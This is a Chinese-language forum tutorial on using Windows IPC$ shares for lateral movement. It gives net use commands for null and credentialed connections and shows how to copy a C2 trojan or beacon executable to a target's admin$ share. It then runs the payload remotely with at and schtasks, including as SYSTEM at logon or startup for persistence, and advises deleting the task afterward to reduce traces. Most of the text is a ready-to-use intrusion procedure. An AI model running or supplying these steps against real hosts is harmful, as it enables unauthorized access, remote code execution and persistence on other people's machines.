IPC$共享利用姿势

1.1 介绍


IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,也就是两个进程之间可以利用它产生数据交互,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。

也可以利用IPC$,于目标主机建立一个连接,用来获取目标主机的信息

  • IPC$在同一时间内,两个IP之间只允许建立一个连接

  • 系统安装后大概率都对各个盘符(C$,D$等)和系统目录C:\Windows(Admin$)开启默认共享、不过这些目录是只对管理员开放权限

如下图所示,我分别用管理员账户和在管理员组的大聪明同样利用IPC$连接上传文件,可以看到只能管理员上传成功了,而大聪明却没有

==注意==

IPC$默认大概率会禁用空密码的用户进行连接,并且目前的windows系统在安装的时候都会默认禁用Administrator用户,而是创建一个普通用户并把它加到管理组内


1.2 利用条件

  1. 139或445端口开启:

    如果目标主机没有开放139445端口,我们去使用IPC$连接的话,会提示找不到网络名。

  2. SMB协议(445端口):这个不用多说了吧,windows文件打印共享服务用的就是这个服务,之前的永恒之蓝就是利用的这个端口,而且平时我想用pad看一些电影的时候,都是先会通过电脑下载下来,然后开个文件共享,然后pad去访问电脑的445端口就可以了

  3. NETBios(139端口):NetBIOS协议是一种在局域网上的程序可以使用的应用程序编程接口(API)

  4. 在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现


1.3 常用命令

这里先堆一些命令,简单看一下就好,有用到的时候回头再来看

#建立空连接
net use \\127.0.0.1\ipc$ "" /user:""

#建立完整的用户名,密码连接
net use \\127.0.0.1\ipc$ "password" /user:"username"

#删除IPC$连接
net use \\127.0.0.1\ipc$ /del

#映射路径  (将对方的c盘映射为自己的z盘,其他盘类推)
net use z: \\127.0.0.1\c$ "密码" /user:"用户名"

#访问/删除路径
net use z: \\127.0.0.1\c$   #直接访问
net use c: /del     #删除映射的c盘
net use * /del      #删除全部,会有提示要求按y确认


#域中相关命令
net use\\去连接的IP地址\ipc$ "域成员密码"  /user:域名\域成员账号
net use\\192.168.100.1\ipc$ "admin123.." /user:momaek.com\win2003

dir \\momaek.com\c$

copy test.exe \\momaek.com\c$

net use \\192.168.100.1\ipc$ /del

net share       #查看自己的共享
net view \\IP   #查看target-IP的共享
netstat -A IP   #获取target-IP的端口列表

netstat -ano | findstr "port"  #查看端口号对应的PID
tasklist | findstr "PID"       #查看进程号对应的程序

1.4 空连接

上面的第一个命令就是建立空连接,就代表你不需要知道账号密码随便就可以和对方主机建立一个IPC$的连接,but权限很低,对于现在的系统可以说毛用没有,在Windows2003以后,空连接什么权限都没有,有些主机的 Administrator 管理员的密码为空,那么我们可以尝试连接,但是在文章开头也说过现在的大部分系统Administrator账户都是禁用的,就算没禁用,没密码,但是默认的服务器配置也会阻止空密码的连接。

这里在win2000里面还能查看个时间,别的没测试

在win7里面时间都看不了


1.5 利用姿势

1.5.1 常用入侵方式

这里主要目标用户还管理员或者管理员组内用户,普通用户的权限只能看时间

#构建连接
C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" 
#上传c2马
C:\>copy test.exe \\127.0.0.1\admin$ 
#查看时间
C:\>net time \\127.0.0.1 
#定时任务方式运行该程序
C:\>at \\127.0.0.1 11:05 test.exe

1.5.2 查看文件

dir \\192.168.52.130\c$


1.5.3 盘符映射

net use k: \\192.168.52.130\c$ /u:"administrator" "123456"


1.5.4 查看进程

tasklist /S 192.168.52.130 /U administrator -P 123456


1.5.5 执行定时任务

(1)at命令

at \\192.168.135.5 13:20:00 cmd.exe /c "c:\beacon.exe"

尴尬,不过没有关系,可以用schtasks命令

(2)schtasks命令

Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令,而转为用schtasks命令。schtasks命令比 at 命令更灵活。在使用schtasks命令时,会在系统中留下日志文件:C:\Windows\Tasks\SchedLgU.txt

schtasks /create创建计划任务,可加参数如下

/sc   计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT
/tn   计划任务名称,后续查询、修改、删除、执行时使用
/tr   需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。
/ru   运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务
/rp   运行任务的用户账户密码
/mo   指定任务在计划类型中的运行间隔
/d    指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。
/m    指定任务在某个月运行,只适用于MONTHLY类型。
/i    当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。
/st    当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。
/ri   指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE
/et   指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。
/du   指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。
/k    在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。
/it   只在用户登录时运行
/z    在任务计划完成后删除任务计划
/f    在创建任务时如果任务已存在不显示警告
/RL   为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。
/F    如果指定的任务已经存在,则强制创建任务并抑制警告。


当使用了/sc参数为MINUTE、HOURLY、DAILY、WEEKLY时,我们需要指定/mo运行的间隔时间

    MINUTE:  11439 分钟。
    HOURLY:  1 - 23 小时。
    DAILY:   1365 天。
    WEEKLY:  152 周。
    ONCE:   
    ONSTART: 
    ONLOGON: 
    ONIDLE:  
    MONTHLY: 112,或
    FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。
    ONEVENT:  XPath 事件查询字符串。

具体演示一下

先将exe复制过去

看下时间

然后可以创建定时任务了

schtasks /create /s 192.168.52.130 /u administrator /p 123456 /tn test_crow /tr c:/artifact.exe  /sc once /st 15:29
#/s 目标 /u 用户名 /p 密码  /tn 计划任务名  /tr 指定文件路径   /sc 执行次数 或频率   /st 开始时间

然后我们可以查下该计划任务

schtasks /query /s 192.168.52.130 /u administrator /p 123456 /tn test_crow

成功上线

==注意:==

  • 使用schtasks会在系统中留痕,C:\Windows\Tasks\SchedLgU.txt

  • 同样的如果你想就这样简简单单就执行了可太容易了,如果你自己测试就会发现会有很多问题,我们去win7看一下该计划任务(限制很多的)

关于上述的操作我们大多都可以在创建任务的时候通过参数设置,例如

在目标主机上创建一个名为test_crow的计划任务,启动程序为c:/beacon.exe ,启动权限为system,启动时间为每隔一小时启动一次
schtasks /create /s 192.168.52.130 /u administrator /p 123456 /tn test_crow /sc HOURLY /mo 1 /tr c:/test.exe /ru system /f

其他启动时间参数:
/sc onlogon  用户登录时启动
/sc onstart  系统启动时启动
/sc onidle   系统空闲时启动

  此处参考:https://mp.weixin.qq.com/s/t5n4yK2LUTjD4nbMudqvsw

同样我们如果实战中利用完最好删除这个计划任务

schtasks /delete /s 192.168.52.130 /u administrator /p 123456 /tn test_crow #删除任务计划

1.5.6 怎么获得账号密码

不知道会不会有人问这个问题?


参考:

https://www.cnblogs.com/bmjoker/p/10355934.html

https://mp.weixin.qq.com/s/QEAgpvit3n7MMhRWosArMA

https://www.cnblogs.com/-mo-/p/11813608.html

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖